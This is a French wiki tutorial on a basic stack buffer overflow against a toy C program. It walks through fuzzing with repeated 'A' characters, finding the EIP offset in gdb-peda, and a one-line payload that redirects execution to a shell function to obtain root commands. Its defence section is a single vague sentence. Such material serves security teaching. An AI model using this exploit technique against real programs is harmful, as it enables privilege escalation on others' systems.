Outils pour utilisateurs

Outils du site


appsysteme:buffer_overflow_basique

Le Buffer Overflow classique

1.Présentation

Le buffer overflow est le dépassement de la mémoire dans un programme. Il est souvent lié au C du fait que ce langage nécessite de stipuler l'allocation mémoire pour les tailles des variables.

Par exemple :

char buf[50];

La variable buf va pouvoir recevoir jusqu'à 49 caractères (le dernier caractère est le null byte qui est la fin de chaîne \x00)

Si on lui donne plus de 49 caractères elle va déborder, d'où le buffer overflow.

2.Exploitation

Le but de l'exploitation d'un buffer overflow est de détourner le flux d'exécution du programme pour lui faire exécuter un shell code.

2.1 Méthode 1 : Exploitation d'un buffer overflow

Prenons l'exemple d'un programme qui demande le nom de la personne et qui ensuite le print.

./mon_nom wikisecu
Votre nom est : wikisecu

Le but va être de lui envoyer le plus de caractères possibles et voir à quel moment la variable qui contient le nom va déborder.

Le plus simple est d'utiliser python pour cela.

`python -c "print 'A'*30"`

Le résultat de la commande va nous donner 30 fois la lettre A.

Essayons de nouveau :

./mon_nom `python -c "print 'A'*30"`
Votre nom est : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Il faut augmenter le nombre de A jusqu’à obtenir un Segmentation Fault qui signifie un plantage du programme suite au dépassement du buffer.

Dans notre cas cela sera :

./mon_nom `python -c "print 'A'*50"`
Votre nom est : 
Segmentation Fault

Le Segmentation Fault signifie aussi que nous avons écraser l'adresse mémoire où le programme à essayer d'aller

Pour voir ce qu'il se passe en mémoire il faut utiliser GDB-PEDA (version avec des couleurs et moins effrayante de GDB)

gdb-peda ./mon_nom

Quelques commandes utiles :

- “r” pour run

- “b* adresse” pour mettre un breakpoint(point d’arrêt) dans le programme (attention à bien faire défiler le programme avec “c” pour continue et non plus “r”)

- “pdisass fonction” pour désassembler une fonction

L'adresse “$PC” dans gdb-peda est la prochaine adresse où le programme va jumper.

Il en est de même pour l'EIP.

EIP: 0x41414141 ('AAAA')
EFLAGS: 0x210282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]

Dans notre cas le but et de trouver à partir de combien de AAAA on écrit à cette adresse

Pour info A en hexa donne : \x41

On remarque que pour 53*A + AAAA on réécrit la prochaine adresse.

Pour trouver l'adresse sur laquelle jumper , il faut regarder le code.

On va trouver l'adresse de la fonction shell qui est dans notre programme (dans le cas deux on verra comment mettre notre propre shell).

Pour cela on va faire

pdisass shell 

gdb-peda$ disass shell
Dump of assembler code for function shell:
   0x08042345 <+0>:	push   ebp
   0x08042346 <+1>:	mov    ebp,esp
   0x08042348 <+3>:	sub    esp,0x18
   0x0804234a <+6>:	mov    DWORD PTR [esp],0x8012340
   0x08042351 <+13>:	call   0x8012360 <system@plt>
   0x08042356 <+18>:	leave  
   0x08042357 <+19>:	ret    
End of assembler dump.

Attention l'adresse est en little endian.

C'est à dire que l'adresse \x01\x02\x03\x04 s'écrira \x04\x03\x02\x01

On retourne dans le terminal et on va dire à notre programme d'aller jumper dans la fonction shell :

(on rajoute cat pour avoir la main une fois le buffer overflow effectué)

./mon_nom `python -c 'print "A"*53 +"\x45\x23\x04\x08" ' ;cat

On peut désormais écrire des commandes avec les droits root.

3.Comment se protéger

Il faut appliquer les bonnes pratiques de codes ainsi qu'une bonne hygiène de développement.

appsysteme/buffer_overflow_basique.txt · Dernière modification: 2016/07/04 08:38 (modification externe)